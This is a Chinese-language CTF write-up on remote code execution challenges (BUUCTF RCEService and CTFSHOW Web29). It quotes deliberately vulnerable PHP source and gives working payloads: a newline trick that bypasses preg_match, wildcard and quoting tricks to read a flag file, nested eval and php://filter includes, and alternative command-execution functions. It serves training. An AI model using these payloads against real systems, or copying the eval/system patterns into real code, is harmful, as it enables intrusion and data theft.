RCE专题-题解(持续更新)
RCE才是网安的浪漫!
BUUCTF
[FBCTF2019]RCEService1
源码如下:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
过滤了很多,但可以绕过preg_match本身的限制,因为preg_match函数只匹配第一行,所以可以通过换行的方式绕过检测,这里要注意,题目中替换了环境变量,所以只能使用绝对路径的cat命令,即
/bin/cat
首先找到flag位置
?cmd={%0a"cmd":"ls /home/rceservice"%0a}
注意要直接在url中拼接,如果在输入框中输入,那么在传递过程中%0a不能正常被解码为换行。因为当直接在浏览器的地址栏中输入URL时,浏览器会尽量保留大多数字符,因为它假设用户知道自己在做什么。例如,如果你直接输入:
https://example.com/path?param={%0a"cmd":"ls%20/home/rceservice"%0a}
浏览器会将其视为用户手动输入的URL,并尽可能保留字符。这里的冒号(:)和其他特殊字符不会被编码,因为它被视为URL的一部分,符合URL标准。
而当通过HTML表单提交数据时,浏览器会对数据进行编码,以确保其在网络上传输时不会引起问题。浏览器会自动对所有非字母数字字符进行URL编码,包括冒号(:)。例如提交后,浏览器会将输入的数据编码为:
https://example.com/path?param=%7B%20%22cmd%22%3A%22ls%20%2Fhome%2Frceservice%22%20%7D
其中,冒号(:)被编码为 %3A,空格被编码为 %20,大括号({ 和 })被编码为 %7B 和 %7D。
所以如果在输入框输入%0a,那么他会被多url编码一次,最后得到的结果仍有%,就会被preg_match函数识别。
得到flag位置后,利用/bin/cat
读取就好
?cmd={%0A"cmd":"/bin/cat%20/home/rceservice/flag"%0A}
CTFSHOW
Web29
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];//获取GET型参数名为c
if(!preg_match("/flag/i", $c)){//匹配c中是否包含flag,/i表示匹配大小写
eval($c);//没有则执行
}
}else{
highlight_file(__FILE__);
}
先查看一下目录下有什么文件
?c=system('ls');
要读取flag文件,但不能包含flag
1、可以利用通配符解决,例如
?c=system('cat fla*');
或者使用fla’'g.php,以及?占位
c=system('cat fla*');
c=system('tac fla*');
c=system('cat fla''g.php');
2、还可以使用nl命令进行回显 nl
命令在Linux
系统中用来计算文件的行号
源文件:
输出效果:
反引号可以将其中的内容当作命令执行
c=echo `nl fla*`;
3、利用文件包含,嵌套传入一个a参数
c=eval($_GET[a]);&a=system('cat fla*');
或者其他的文件包含方式:include、require
利用伪协议读取数据(include包含的php是不会显示在页面中的)
c=require($_GET[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include($_GET[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php
这里的convert.base64-encode是一种转换过滤器,对数据流进行编码,通常用来读取文件源码。read用于设置读链的过滤器。
4、还可以将flag.php文件内容写入另一个文件中,读取另一个文件即可
c=system('cp fla* 2.txt');
5、更换执行命令的函数,利用exec()、passthru()等也可以执行命令
c=echo exec('cat fl*');
c=passthru('cat fl*');#需要查看源代码
c=echo shell_exec("cat f*");#需要查看源代码